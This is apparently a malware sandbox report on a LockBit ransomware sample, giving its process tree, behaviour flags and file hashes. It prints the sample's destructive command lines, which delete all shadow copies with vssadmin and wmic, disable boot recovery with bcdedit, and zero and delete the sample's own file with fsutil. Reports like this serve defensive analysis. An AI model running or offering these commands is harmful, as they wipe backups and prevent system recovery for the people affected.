c3230c24b469fe5d82786444d3c7a7d16d78eb65581c814dbc5329a80b65481f.execmd.execmd.exedescription pid process target process PID 5032 wrote to memory of 1604 5032 c3230c24b469fe5d82786444d3c7a7d16d78eb65581c814dbc5329a80b65481f.exe cmd.exe PID 5032 wrote to memory of 1604 5032 c3230c24b469fe5d82786444d3c7a7d16d78eb65581c814dbc5329a80b65481f.exe cmd.exe PID 1604 wrote to memory of 2608 1604 cmd.exe vssadmin.exe PID 1604 wrote to memory of 2608 1604 cmd.exe vssadmin.exe PID 1604 wrote to memory of 4540 1604 cmd.exe WMIC.exe PID 1604 wrote to memory of 4540 1604 cmd.exe WMIC.exe PID 1604 wrote to memory of 4952 1604 cmd.exe bcdedit.exe PID 1604 wrote to memory of 4952 1604 cmd.exe bcdedit.exe PID 1604 wrote to memory of 2084 1604 cmd.exe bcdedit.exe PID 1604 wrote to memory of 2084 1604 cmd.exe bcdedit.exe PID 5032 wrote to memory of 2488 5032 c3230c24b469fe5d82786444d3c7a7d16d78eb65581c814dbc5329a80b65481f.exe mshta.exe PID 5032 wrote to memory of 2488 5032 c3230c24b469fe5d82786444d3c7a7d16d78eb65581c814dbc5329a80b65481f.exe mshta.exe PID 5032 wrote to memory of 2488 5032 c3230c24b469fe5d82786444d3c7a7d16d78eb65581c814dbc5329a80b65481f.exe mshta.exe PID 5032 wrote to memory of 2960 5032 c3230c24b469fe5d82786444d3c7a7d16d78eb65581c814dbc5329a80b65481f.exe cmd.exe PID 5032 wrote to memory of 2960 5032 c3230c24b469fe5d82786444d3c7a7d16d78eb65581c814dbc5329a80b65481f.exe cmd.exe PID 5032 wrote to memory of 2960 5032 c3230c24b469fe5d82786444d3c7a7d16d78eb65581c814dbc5329a80b65481f.exe cmd.exe PID 2960 wrote to memory of 5092 2960 cmd.exe PING.EXE PID 2960 wrote to memory of 5092 2960 cmd.exe PING.EXE PID 2960 wrote to memory of 5092 2960 cmd.exe PING.EXE PID 2960 wrote to memory of 3628 2960 cmd.exe fsutil.exe PID 2960 wrote to memory of 3628 2960 cmd.exe fsutil.exe PID 2960 wrote to memory of 3628 2960 cmd.exe fsutil.exe -
Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
Processes
-
C:\Users\Admin\AppData\Local\Temp\c3230c24b469fe5d82786444d3c7a7d16d78eb65581c814dbc5329a80b65481f.exe"C:\Users\Admin\AppData\Local\Temp\c3230c24b469fe5d82786444d3c7a7d16d78eb65581c814dbc5329a80b65481f.exe"1⤵
- Checks computer location settings
- Adds Run key to start application
- Enumerates connected drives
- Drops file in System32 directory
- Sets desktop wallpaper using registry
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Drops file in Program Files directory
- Modifies Control Panel
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:5032 -
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c vssadmin delete shadows /all /quiet & wmic shadowcopy delete & bcdedit /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no2⤵
- Suspicious use of WriteProcessMemory
PID:1604 -
C:\Windows\system32\vssadmin.exevssadmin delete shadows /all /quiet3⤵
- Interacts with shadow copies
PID:2608 -
C:\Windows\System32\Wbem\WMIC.exewmic shadowcopy delete3⤵
- Suspicious use of AdjustPrivilegeToken
PID:4540 -
C:\Windows\system32\bcdedit.exebcdedit /set {default} bootstatuspolicy ignoreallfailures3⤵
- Modifies boot configuration data using bcdedit
PID:4952 -
C:\Windows\system32\bcdedit.exebcdedit /set {default} recoveryenabled no3⤵
- Modifies boot configuration data using bcdedit
PID:2084 -
C:\Windows\SysWOW64\mshta.exe"C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\Desktop\LockBit_Ransomware.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}2⤵PID:2488
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 2488 -s 17843⤵
- Program crash
PID:1648 -
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /C ping 127.0.0.7 -n 3 > Nul & fsutil file setZeroData offset=0 length=524288 "C:\Users\Admin\AppData\Local\Temp\c3230c24b469fe5d82786444d3c7a7d16d78eb65581c814dbc5329a80b65481f.exe" & Del /f /q "C:\Users\Admin\AppData\Local\Temp\c3230c24b469fe5d82786444d3c7a7d16d78eb65581c814dbc5329a80b65481f.exe"2⤵
- Suspicious use of WriteProcessMemory
PID:2960 -
C:\Windows\SysWOW64\PING.EXEping 127.0.0.7 -n 33⤵
- Runs ping.exe
PID:5092 -
C:\Windows\SysWOW64\fsutil.exefsutil file setZeroData offset=0 length=524288 "C:\Users\Admin\AppData\Local\Temp\c3230c24b469fe5d82786444d3c7a7d16d78eb65581c814dbc5329a80b65481f.exe"3⤵PID:3628
-
C:\Windows\system32\vssvc.exeC:\Windows\system32\vssvc.exe1⤵
- Suspicious use of AdjustPrivilegeToken
PID:2052
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 196 -p 2488 -ip 24881⤵PID:756
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
512B
MD5b3f4ccf140f3647088c47493a552868b
SHA149efc22e51b163574f66eb4237eb11c19f203598
SHA256dbec88966756eda08ae4be55498bb098e6b7550c36fb0529f0332557ebcf3a69
SHA512ec7c9fd80289157b34c60c6010e00de330967a5f04b9a075d303a48c4acb4c097a246ed4bbfe1435a9ec73098f13d320387087a2322a70b7a277d0fa351f86ea
-
Filesize
46KB
MD5c15c6adc8c923ad87981f289025c37b2
SHA1bfe6533f4afe3255046f7178f289a4c75ad89e76
SHA25690f3a33919fdd766e90fd96f8f20a92c2d1376b7cfdc8b738c2f8e7e6c7498b1
SHA51231dd03b208e00ac012fbe4189d5af1306cc8e3640d40efefab4aa1cabab3c4735eef0cb65e7750c3c77021934e145398e5e26389975cf36b193c8f622a5fde83